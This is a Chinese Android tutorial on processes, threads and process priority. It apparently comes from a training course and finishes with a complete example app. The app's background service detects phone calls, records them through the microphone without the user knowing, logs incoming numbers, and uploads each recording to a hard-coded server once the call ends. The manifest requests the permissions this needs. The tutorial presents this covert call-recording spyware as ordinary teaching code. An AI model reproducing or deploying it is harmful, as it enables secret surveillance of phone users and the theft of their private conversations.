26、进程和线程之间的关系


一个进程里面可以有多个线程.进程如果挂了, 线程就没了.

如果我们激活另外一个应用程序的activity,肯定另外一个应用程序 所在的进程也会被创建出来。

为什么要使用 service 是因为service这个组件会长期的在后台运行,一般情况下不会别操作系统回收.

进程的优先级

Foreground process 前台进程 优先级别最高,即便系统内存不足的时候 也不会杀死前台进程 。

Visible process 可见进程 优先级稍为低一点。

Service process 服务进程 存活时间比较长 .里面的子线程不会回收.

Background process 后台进程

Empty process 空进程 没有任何的组件进程。

 

范例:采用服务监听用户的通话,上传信息到服务器.

1 public class DemoActivity extends Activity {

2     @Override

3     public void onCreate(Bundle savedInstanceState) {

4         super.onCreate(savedInstanceState);

5         setContentView(R.layout.main);

6         Intent intent = new Intent(this,PhoneListenService.class);

7         startService(intent);

8     }

9 }
  1 import java.io.File;

  2 

  3 import org.apache.commons.httpclient.methods.PostMethod;

  4 import org.apache.commons.httpclient.methods.multipart.FilePart;

  5 import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;

  6 import org.apache.commons.httpclient.methods.multipart.Part;

  7 

  8 import android.app.Service;

  9 import android.content.Intent;

 10 import android.media.MediaRecorder;

 11 import android.os.IBinder;

 12 import android.telephony.PhoneStateListener;

 13 import android.telephony.TelephonyManager;

 14 import android.view.LayoutInflater;

 15 

 16 public class PhoneListenService extends Service {

 17 

 18     @Override

 19     public IBinder onBind(Intent intent) {

 20         return null;

 21     }

 22 

 23     /**

 24      * 在服务第一次被创建的时候 执行

 25      */

 26     @Override

 27     public void onCreate() {

 28         super.onCreate();

 29         /**

 30          * 给 Service 设置了 foreground 那么他就和正在运行的 Activity 类似优先级得到了一定的提高。

 31          * 当让这并不能保证你得 Service 永远不被杀掉,只是提高了他的优先级。 setForeground(true);

 32          */

 33 

 34         // 1. 判断当前手机的状态,

 35         // 如果发现手机处于 通话状态

 36         // 创建一个录音器, 录下来用户的通话信息

 37         // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器

 38         // 得到手机与电话状态相关的服务

 39         TelephonyManager manager = (TelephonyManager) this

 40                 .getSystemService(TELEPHONY_SERVICE);

 41         // this.getSystemService(WIFI_SERVICE);

 42         manager.listen(new MyPhoneListener(),

 43                 PhoneStateListener.LISTEN_CALL_STATE);

 44 

 45         System.out.println(" 线程id " + Thread.currentThread().getName());

 46     }

 47 

 48 

 49     /**

 50      * 当电话的通话状态发生改变的时候 被调用的方法

 51      */

 52     private class MyPhoneListener extends PhoneStateListener {

 53         MediaRecorder recorder = null;

 54 

 55         @Override

 56         public void onCallStateChanged(int state, String incomingNumber) {

 57             try {

 58                 switch (state) {

 59                 // 当前电话处于闲置状态

 60                 case TelephonyManager.CALL_STATE_IDLE:

 61                     System.out.println("当前电话处于闲置状态 ");

 62 

 63                     // 判断下recorder是否为空

 64                     if (recorder != null) {

 65                         recorder.stop();

 66                         // Now the object cannot be reused

 67                         recorder.release();

 68                         recorder = null;

 69 

 70                         new Thread() {

 71                             @Override

 72                             public void run() {

 73                                 // 上传数据到服务器 演示的代码 有问题的

 74                                 File file = new File("/sdcard/temp.3gp");

 75                                 try {

 76                                     upload(file);

 77                                 } catch (Exception e) {

 78                                     e.printStackTrace();

 79                                 }

 80                             }

 81                         }.start();

 82                     }

 83                     break;

 84                 // 当前电话处于零响状态

 85                 case TelephonyManager.CALL_STATE_RINGING:

 86                     System.out.println("电话号码为 " + incomingNumber);

 87                     break;

 88                 // 当前电话处于接听状态

 89                 case TelephonyManager.CALL_STATE_OFFHOOK:

 90                     System.out.println("当前电话处于通话状态 ");

 91                     // 初始化一个录音器,

 92                     recorder = new MediaRecorder();

 93                     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

 94                     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

 95                     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

 96                     // recorder.setOutputFile("sdcard/temp.3gp");

 97                     // File file = new File("/sdcard/temp.3gp");

 98                     // FileOutputStream fos = new FileOutputStream(file);

 99                     // fos.write("haha".getBytes());

100                     recorder.setOutputFile("/sdcard/temp.3gp");

101                     recorder.prepare();

102 

103                     recorder.start(); // Recording is now started

104 

105                     break;

106 

107                 }

108             } catch (Exception e) {

109                 e.printStackTrace();

110             }

111 

112             super.onCallStateChanged(state, incomingNumber);

113         }

114 

115     }

116 

117     public void upload(File file) throws Exception {

118         // 实例化上传数据的 数组 part []

119         Part[] parts = { new FilePart("file", file) };

120 

121         PostMethod filePost = new PostMethod(

122                 "http://192.168.1.247:8080/web/LoginServlet");

123 

124         filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost

125                 .getParams()));

126         org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();

127         client.getHttpConnectionManager().getParams()

128                 .setConnectionTimeout(5000);

129         int status = client.executeMethod(filePost);

130         if (status == 200) {

131 

132             System.out.println("上传成功");

133         } else {

134             throw new IllegalStateException("服务器状态异常");

135         }

136 

137     }

138 

139 }
 1 <?xml version="1.0" encoding="utf-8"?>

 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"

 3     package="cn.itcast.phonelistener"

 4     android:versionCode="1"

 5     android:versionName="1.0" >

 6 

 7     <uses-sdk android:minSdkVersion="8" />

 8     

 9     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>

10     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

11     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

12     <uses-permission android:name="android.permission.RECORD_AUDIO"/>

13     <uses-permission android:name="android.permission.INTERNET"/>

14 

15     <application

16         android:icon="@drawable/ic_launcher"

17         android:label="@string/app_name" >

18         <activity

19             android:label="@string/app_name"

20             android:name=".DemoActivity" >

21             <intent-filter >

22                 <action android:name="android.intent.action.MAIN" />

23                 <category android:name="android.intent.category.LAUNCHER" />

24             </intent-filter>

25         </activity>

26 

27         <service android:name=".PhoneListenService" />

28     </application>

29 

30 </manifest>

 

你可能感兴趣的:(线程)